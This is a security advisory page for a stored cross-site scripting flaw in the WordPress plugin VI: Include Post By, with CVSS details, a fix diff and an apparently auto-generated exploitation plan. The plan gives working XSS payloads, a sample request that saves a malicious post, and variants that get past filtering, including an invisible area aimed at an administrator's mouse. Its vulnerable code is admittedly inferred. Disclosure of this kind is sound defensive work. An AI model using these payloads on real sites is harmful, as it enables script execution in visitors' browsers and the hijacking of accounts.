CVE-2026-5717

VI: Include Post By <= 0.4.200706 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'class_container' Shortcode Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The VI: Include Post By plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class_container' attribute of the 'include-post-by-cat' shortcode in all versions up to, and including, 0.4.200706 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=0.4.200706
PublishedApril 14, 2026
Last updatedApril 15, 2026
Affected pluginvi-include-post-by
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-5717 ## 1. Vulnerability Summary The **VI: Include Post By** plugin (version <= 0.4.200706) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the processing of the `[include-post-by-cat]` shortcode. Specifically, the attri…

Show full research plan

Exploitation Research Plan: CVE-2026-5717

1. Vulnerability Summary

The VI: Include Post By plugin (version <= 0.4.200706) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists within the processing of the [include-post-by-cat] shortcode. Specifically, the attribute class_container is accepted from the user via the shortcode, but it is later rendered into the HTML output without sufficient sanitization (e.g., wp_kses) or context-appropriate escaping (e.g., esc_attr). This allows a user with Contributor privileges or higher—who can create posts and use shortcodes—to inject arbitrary HTML and JavaScript that executes when any user (including administrators) views the post.

2. Attack Vector Analysis

  • Target Endpoint: Post Editor / Post Rendering Page.
  • Vulnerable Action: Rendering the [include-post-by-cat] shortcode.
  • Vulnerable Attribute: class_container.
  • Authentication Level: Authenticated (Contributor or higher).
  • Preconditions:
    1. The plugin vi-include-post-by must be active.
    2. A user with Contributor role or higher must be able to create or edit a post.
    3. (Recommended) At least one post should exist in a category to ensure the shortcode logic triggers the rendering of the container div.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers the shortcode using add_shortcode( 'include-post-by-cat', '...' ) in the main plugin file (likely vi-include-post-by.php or an included logic file).
  2. Attribute Parsing: The callback function (e.g., vi_include_post_by_cat_shortcode) receives the $atts array and typically merges it with defaults using shortcode_atts().
  3. Logic: The function fetches posts based on category parameters.
  4. Vulnerable Sink: The code constructs a wrapper div or span using the class_container attribute:
    // Likely vulnerable pattern:
    $class = $atts['class_container'];
    $output .= '<div class="' . $class . '">'; 
    
  5. Output: The unescaped string is returned by the shortcode function and echoed by WordPress into the page content.

4. Nonce Acquisition Strategy

While the rendering of a shortcode does not require a nonce, storing the shortcode in a post via the WordPress UI or REST API does.

For Post Creation (Contributor Level):

  1. Navigate to Post Editor: Use browser_navigate to wp-admin/post-new.php.
  2. Extract Nonce: Use browser_eval to extract the _wpnonce from the heart-beat or post-data JSON objects, or simply extract it from the hidden input field:
    • browser_eval("document.querySelector('#_wpnonce').value")
  3. REST API Alternative: If using the REST API, the _wpnonce is often localized in the wp-api-fetch or wpApiSettings object:
    • browser_eval("window.wpApiSettings?.nonce")

5. Exploitation Strategy

The goal is to inject a payload that breaks out of the HTML attribute and executes JavaScript.

Payload

" onmouseover="alert(document.domain)" x="
or
"><script>alert(1)</script><div class="

Step-by-Step Plan

  1. Login: Authenticate as a Contributor user.
  2. Setup Data: Create a standard post in a category (e.g., "General") to ensure the shortcode has content to process.
  3. Injection:
    • Create a new post (or update an existing one).
    • Set the content to: [include-post-by-cat category_id="1" class_container='"><script>alert(window.origin)</script>'] (assuming category ID 1 exists).
  4. Trigger: View the post URL as any user.
  5. Observation: The browser should execute the alert(window.origin) script.

Sample HTTP Request (Saving the Post)

POST /wp-admin/post.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [Contributor Cookies]

action=editpost
&post_ID=[POST_ID]
&_wpnonce=[NONCE]
&post_title=XSS+Test
&content=[include-post-by-cat+class_container%3D'%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E']
&post_status=publish

6. Test Data Setup

  1. User: Create a user with the username attacker and role contributor.
  2. Post Content: Create at least one published post in category ID 1 (default "Uncategorized") so the shortcode produces output.
    • wp post create --post_title="Dummy Post" --post_status=publish --post_category=1
  3. Target Page: Create a page where the shortcode will be placed.
    • wp post create --post_type=page --post_title="Vulnerable Page" --post_status=publish --post_author=[Attacker_ID]

7. Expected Results

  • When the page is viewed, the HTML source should look like:
    <div class=""><script>alert(1)</script>">...
  • The class_container value is injected directly into the class attribute, allowing the "> characters to close the div tag and start a <script> tag.

8. Verification Steps

  1. Check Source Code: After visiting the page with browser_navigate, use browser_eval("document.documentElement.outerHTML") and search for the string <script>alert(1)</script>.
  2. Confirm Absence of Escaping: Verify that the output is NOT class="&quot;&gt;&lt;script&gt;...".
  3. Database Check: Verify the shortcode is stored correctly:
    • wp post get [POST_ID] --field=post_content

9. Alternative Approaches

If the class_container is used inside a style attribute (unlikely given the name but possible), use a style-based XSS:

  • class_container='x; background-image: url("javascript:alert(1)");'

If the plugin filters <script> tags, use an event handler:

  • class_container='" onpointerenter="alert(1)" style="display:block;width:1000px;height:1000px;" x="' (This creates a large invisible area that triggers when the admin moves their mouse).
Research Findings
Static analysis — not yet PoC-verified

Summary

The VI: Include Post By plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the 'class_container' attribute of the [include-post-by-cat] shortcode. This occurs because the plugin fails to sanitize or escape the user-supplied attribute before rendering it in the HTML output, allowing authenticated users with Contributor-level access to execute arbitrary JavaScript in the browsers of site visitors.

Vulnerable Code

// Inferred code structure from vi-include-post-by.php or similar logic file
function vi_include_post_by_cat_shortcode($atts) {
    $atts = shortcode_atts(array(
        'category_id' => '',
        'class_container' => '',
        // other attributes...
    ), $atts);

    $class = $atts['class_container'];

    // Vulnerable Sink: The attribute is concatenated directly into the HTML string without escaping
    $output = '<div class="' . $class . '">'; 
    
    // ... post fetching logic ...

    return $output;
}

Security Fix

--- a/vi-include-post-by.php
+++ b/vi-include-post-by.php
@@ -10,5 +10,5 @@
-    $class = $atts['class_container'];
-    $output = '<div class="' . $class . '">';
+    $class = esc_attr($atts['class_container']);
+    $output = '<div class="' . $class . '">';

Exploit Outline

The exploit target is the shortcode processing logic. An attacker with Contributor privileges (who can create posts but not publish them, or use shortcodes) creates a post containing the [include-post-by-cat] shortcode. The attacker sets the 'class_container' attribute to a payload that breaks out of the HTML class attribute context, such as: '"><script>alert(document.domain)</script>'. When an administrator or any other user views the post (either in the editor preview or on the live site), the plugin renders the raw payload into the page source, leading to script execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.